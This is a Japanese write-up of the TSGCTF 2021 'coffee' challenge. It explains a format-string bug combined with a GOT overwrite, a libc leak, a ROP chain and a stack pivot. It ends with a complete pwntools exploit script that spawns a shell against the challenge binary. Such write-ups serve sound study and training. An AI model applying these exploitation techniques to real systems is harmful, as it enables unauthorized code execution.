TSGCTF 2021 - coffee
TL;DR
- 自明なFSBがある上にPartial RELROなのでGOT Overwriteが狙える
main
に戻っても特に出来る事は無いのでFSBのペイロードの下にROPチェーンを書いてROPをする- ペイロードの長さ制限が際どいのでlibc leak後に
scanf
を利用してstack pivotする
Prerequisite
- Stack Pivot
Writeup
次のC言語のコードをコンパイルしたバイナリが動いている
#include <stdio.h>
int x = 0xc0ffee;
int main(void) {
char buf[160];
scanf("%159s", buf);
if (x == 0xc0ffee) {
printf(buf);
x = 0;
}
puts("bye");
}
checksecした結果は次の通り
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
自明なFSBがある上にPartial RELROなのでGOT Overwriteが出来る。やってくれと言わんばかりにputs
が真下にあるのでこいつのGOTを書き換える。
問題はどのアドレスに書き換えるかである。仮にlibc leakが出来たとしてもその値をまたどこかに書き込まなくてはならないのでmain
に戻る等で再度なんらかの入力関数を呼び出さないといけない。しかし、main
に戻ったところでif (x == 0xc0ffee)
のせいで再度FSBを利用する事は出来ず、事前のscanf
もbuf
にしか書き込めないので特に意味のあることはできそうにない。
puts
のGOTに書かれたアドレスが呼ばれる時、スタックはmain
のものとほとんど同じはずなのでbuf
にROPチェーンを書いておけばROPが出来るような予感がする。
但し、buf
の先頭にはFSB用のペイロードをおいておかなくてはならないので、ROPには使えず、起点となるputs
のGOTに書き込むガジェットとしてpop
やadd rsp
でスタックの最初の方を無視できるようなガジェットが必要である。大量にpopするガジェットと言えば__libc_csu_init
内にあるpop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
があり、更にこの上はadd rsp,0x8
があるので結構なサイズのスタックを飛ばしてrsp
を大きくすることが出来る。
ところでFSBがあることから%s
を利用してアドレスの中身を見ることも出来る。printf
が呼ばれるタイミングで既にscanf
は呼ばれていることからここのGOTにはlibc中のアドレスが存在する。よって書き込みと同時に読み出しも行えば、libc leakとGOT Overwriteの両方が同時に出来る。
GDBでスタックの様子を覗いたりした結果、ペイロードの構造は次のようになった。
f"%{offset+2}$s" # libc leak用
+ f"%{0x86 - 6}c%{offset}$lln" # putsのGOT書き換え用 (1バイト目)
+ f"%{0x4012 - 0x86}c%{offset+1}$hn" # putsのGOT書き換え用 (2バイト目と3バイト目)
+ ROP
+ p64(addrs["puts_got"]) # FSBでガジェットを書き込む
+ p64(addrs["puts_got"] + 1) # FSBでガジェットを書き込む
+ p64(addrs["scanf_got"]) # FSBで読み出し
処理の順序は「FSBのペイロードを送る -> printf
でFSB発火 -> libc leak -> ROPチェーン発動」となっている。よって、ROPチェーン中でscanf
を実行すればリークしたlibcのアドレスを使ってsystem
のアドレスをなんらかのGOTに書き込むといったことが出来る(なお、ネタバレをするとこれはあらゆる理由で断念した)。
ROPチェーン中でscanf
を利用するために、フォーマット文字列を用意する必要があるが、コードで使われている%159s
を利用しようとするとここのアドレスに0x20
が含まれてしまうせいで最初にscanf
でペイロードを送り込む際にここで止まってしまう。というわけで冒頭のFSBでwritableな領域にフォーマット文字列を用意しておく必要がある。これでFSBのペイロードは次のように修正された。
f"%{offset+2}$s" # libc leak用
+ f"%{0x86 - 6}c%{offset}$lln" # putsのGOT書き換え用 (1バイト目)
+ f"%{0x4012 - 0x86}c%{offset+1}$hn" # putsのGOT書き換え用 (2バイト目と3バイト目)
+ f"%{fmt_scanf - 0x4012}c%{offset+3}$hn" # バイナリに"%s"を書き込む用
+ ROP
+ p64(addrs["puts_got"]) # FSBでガジェットを書き込む
+ p64(addrs["puts_got"] + 1) # FSBでガジェットを書き込む
+ p64(addrs["scanf_got"]) # FSBで読み出し
+ p64(addrs["bss"]) # FSBで"%s"を書き込む
というわけでscanf
を使ってputs
のGOTをlibc中のsystem
のアドレスに書き換え、ROPチェーンの最後でputs("/bin/sh")
をしてシェルを取ろうとしたのだが、scanf
もsystem
もSIMD命令を使う都合上、スタックのアライメントをret
ガジェットで調整する必要がある。更にrsi
にpopするガジェットが同時にr15
にもpopするため、余分な値をスタックに入れておかなくてはならない。これらの理由によってROPチェーンは長くなり、上手くやろうとすると入力制限である159バイトを超えてしまう。
ROPとFSBでコードゴルフはしたくなかったので、ROPチェーン中のscanf
で任意アドレスへの書き込みが出来る事を利用し、writableな領域を偽のスタックとしてROPチェーンの続きを書き込んでStack Pivotを行うことにした。
Code
from pwn import process, remote, ELF, p64, u64
from Crypto.Util.number import bytes_to_long
def dict_hexdump(d):
for k, addr in d.items():
print(f"{k}: {hex(addr)}")
binary_path = "./coffee"
libc_path = "./libc.so.6"
elf = ELF(binary_path)
libc = ELF(libc_path)
addrs = {
"puts_got": elf.got["puts"],
"puts_plt": elf.plt["puts"],
"scanf_plt": elf.plt["__isoc99_scanf"],
"scanf_got": elf.got["__isoc99_scanf"],
"fmt_scanf": next(elf.search(b"%159s")),
"bss": 0x40404c,
"scanf_libc": libc.symbols["__isoc99_scanf"],
"system_libc": libc.symbols["system"],
"execve_libc": libc.symbols["execve"],
"one_gadget": 0xe6e79,
"pivot": 0x404800
}
rop_gadgets = {
"add_rsp_8_pop_6": 0x401286,
"pop_rdi": 0x401293,
"pop_rsi_r15": 0x401291,
"ret": 0x40101a,
"leave": 0x40121f,
"pop_rbp": 0x40117d
}
fsb_addrs = p64(addrs["puts_got"]) + p64(addrs["puts_got"] + 1) + p64(addrs["scanf_got"]) + p64(addrs["bss"])
dict_hexdump(addrs)
print("[+] Exploit")
# exploit
# sc = process([binary_path])
sc = remote("localhost", 13337)
fmt_scanf = u64(b"%s" + b"\x00" * 6)
offset = 22
payload = f"%{offset+2}$s%{0x86 - 6}c%{offset}$lln%{0x4012 - 0x86}c%{offset+1}$hn%{fmt_scanf - 0x4012}c%{offset+3}$hn".encode()
current_length = len(payload)
payload += b"\x00" * (8 - current_length % 8)
payload += p64(rop_gadgets["pop_rdi"]) # 12
payload += p64(addrs["bss"]) # 13
payload += p64(rop_gadgets["pop_rsi_r15"]) # 14
payload += p64(addrs["pivot"]) # 15
payload += p64(0) # 16
payload += p64(rop_gadgets["ret"]) # 17
payload += p64(addrs["scanf_plt"]) # 18
payload += p64(rop_gadgets["pop_rbp"]) # 19
payload += p64(addrs["pivot"]) # 20
payload += p64(rop_gadgets["leave"]) # 21
payload += fsb_addrs
payload = payload[:-2] # for limit of payload length
print(len(payload), payload)
sc.sendline(payload)
res = u64(sc.recv(6) + b"\x00\x00")
libc_leak = res - addrs["scanf_libc"]
print(hex(libc_leak))
# input("[+] Attaching")
system_libc = libc_leak + addrs["system_libc"]
binsh_libc = libc_leak + next(libc.search(b"/bin/sh"))
# fake stack
payload2 = p64(addrs["pivot"] + 0x300) # for pop rbp in leave and writable address
payload2 += p64(rop_gadgets["pop_rdi"])
payload2 += p64(binsh_libc)
payload2 += p64(rop_gadgets["ret"])
payload2 += p64(system_libc)
sc.sendline(payload2)
sc.interactive()
Flag
ローカルでシェル取っただけ